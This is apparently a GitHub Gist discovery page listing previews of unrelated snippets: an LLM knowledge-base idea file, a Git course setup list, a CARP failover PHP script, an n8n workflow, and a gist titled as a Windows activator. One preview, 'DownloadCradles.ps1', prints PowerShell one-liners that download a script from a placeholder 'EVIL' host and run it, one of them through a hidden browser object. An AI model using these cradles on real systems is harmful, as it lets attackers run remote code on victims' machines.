Skip to content

Instantly share code, notes, and snippets.

LLM Wiki

A pattern for building personal knowledge bases using LLMs.

This is an idea file, it is designed to be copy pasted to your own LLM Agent (e.g. OpenAI Codex, Claude Code, OpenCode / Pi, or etc.). Its goal is to communicate the high level idea, but your agent will build out the specifics in collaboration with you.

The core idea

Most people's experience with LLMs and documents looks like RAG: you upload a collection of files, the LLM retrieves relevant chunks at query time, and generates an answer. This works, but the LLM is rediscovering knowledge from scratch on every question. There's no accumulation. Ask a subtle question that requires synthesizing five documents, and the LLM has to find and piece together the relevant fragments every time. Nothing is built up. NotebookLM, ChatGPT file uploads, and most RAG systems work this way.

name explain-diff-html
description Use when the user asks for a rich explanation of a code change, diff, branch, or PR. Produces HTML output.

Explain Diff

Please make me a rich, interactive explanation of the specified code change.

It should have these sections:

@Klerith
Klerith / instalaciones.md
Last active July 24, 2026 23:48
Instalaciones necesarias para el curso de Git y GitHub

Git_icon svg-1

Instalaciones recomendadas - Curso de Git y GitHub

@Ahosall
Ahosall / WinActivator.md
Created December 12, 2023 12:37
Ativador do Windows

Ativador do Windows

Este é um ativador do Windows. Siga os passos para ter êxito!

Importante!

Será necessário ter permissões de administrador!

Passo a Passo

@spali
spali / 10-wancarp
Last active July 24, 2026 23:46
Disable WAN Interface on CARP Backup
#!/usr/local/bin/php
<?php
require_once("config.inc");
require_once("interfaces.inc");
require_once("util.inc");
$subsystem = !empty($argv[1]) ? $argv[1] : '';
$type = !empty($argv[2]) ? $argv[2] : '';
@iamvaar-dev
iamvaar-dev / Invoice Generation from slack
Created July 16, 2026 12:27
Invoice Generation from slack
{
"nodes": [
{
"parameters": {
"trigger": [
"app_mention"
],
"channelId": {
"__rl": true,
"value": "C0B8VH1M5PX",
@HarmJ0y
HarmJ0y / DownloadCradles.ps1
Last active July 24, 2026 23:43
Download Cradles
# normal download cradle
IEX (New-Object Net.Webclient).downloadstring("http://EVIL/evil.ps1")
# PowerShell 3.0+
IEX (iwr 'http://EVIL/evil.ps1')
# hidden IE com object
$ie=New-Object -comobject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://EVIL/evil.ps1');start-sleep -s 5;$r=$ie.Document.body.innerHTML;$ie.quit();IEX $r
# Msxml2.XMLHTTP COM object
@vyroxat
vyroxat / osu-local-favorites-backup.json
Created July 24, 2026 23:38
osu! Local Favorites backup
{
"5445": {
"id": "5445",
"artist": "Hanataba",
"artist_unicode": "Hanataba",
"title": "Night of Knights",
"title_unicode": "Night of Knights",
"creator": "v2b",
"user_id": "47060",
"covers": {
@emschwartz
emschwartz / README.md
Last active July 24, 2026 23:35
The Most Popular Blogs of Hacker News in 2025

This is an OPML version of the HN Popularity Contest results for 2025, for importing into RSS feed readers.

Plug: if you want to find content related to your interests from thousands of obscure blogs and noisy sources like HN Newest, check out Scour. It's a free, personalized content feed I work on where you define your interests in your own words and it ranks content based on how closely related it is to those topics.

@eonist
eonist / Markdown-Instructions-for-AI--and-humans.md
Created April 30, 2025 16:29
Best Practice Guidelines for Prompt Markdown Instructions (.md Files)

Best Practice Guidelines for Prompt Markdown Instructions (.md Files)

When creating Markdown (.md) files to standardize prompt instructions or best practices, clarity, consistency, and structure are paramount. Below is a comprehensive guideline on how to structure these files and what to do-and avoid-when authoring them.


Key Principles

  • Clarity: Use Markdown to make prompts and instructions easy to read, both for humans and AI models[6][8].
  • Consistency: Stick to a single Markdown flavor (e.g., CommonMark, GitHub Flavored Markdown) throughout your project[5].